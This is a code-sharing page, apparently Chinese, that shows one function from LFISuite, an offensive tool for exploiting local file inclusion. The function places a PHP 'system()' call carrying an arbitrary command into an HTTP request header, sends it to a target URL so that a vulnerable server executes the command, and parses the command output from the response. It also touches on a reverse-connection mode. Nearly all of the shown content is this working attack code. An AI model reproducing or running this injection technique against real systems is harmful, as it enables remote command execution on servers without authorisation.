lfisuite.py 文件源码

python
阅读 48 收藏 0 点赞 0 评论 0

项目:LFISuite 作者: D35m0nd142 项目源码 文件源码
def execSeCmd(cmd):
    global se_par
    global se_headers

    if(se_phponly is False):
        se_headers['%s' %se_header_par] = '<?php system("%s"); ?>' %cmd
    else:
        if(";" not in cmd[-2:]):
            cmd = "%s;" %cmd
        se_headers['%s' %se_header_par] = '<?php %s ?>' %cmd
    #print "se_headers = %s\n---------" %se_headers # useful for debugging
    if(cmd != reverseConn):
        r = requests.get(se_url, headers=se_headers, timeout=15)
    else:
        r = requests.get(se_url, headers=se_headers)
    resp = r.text

    '''print "\nse_headers:\n%s\n\n" %se_headers
    print "\n\n-------------\n%s\n-------------\n\n" %resp'''
    index_start = SubstrFind(resp, "%s=" %se_par)
    index_stop = SubstrFind(resp, se_stopStr)

    try:
        return resp[(index_start[0]+len(se_par)+1):index_stop[0]]
    except:
        return "<NOT WORKING>"
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号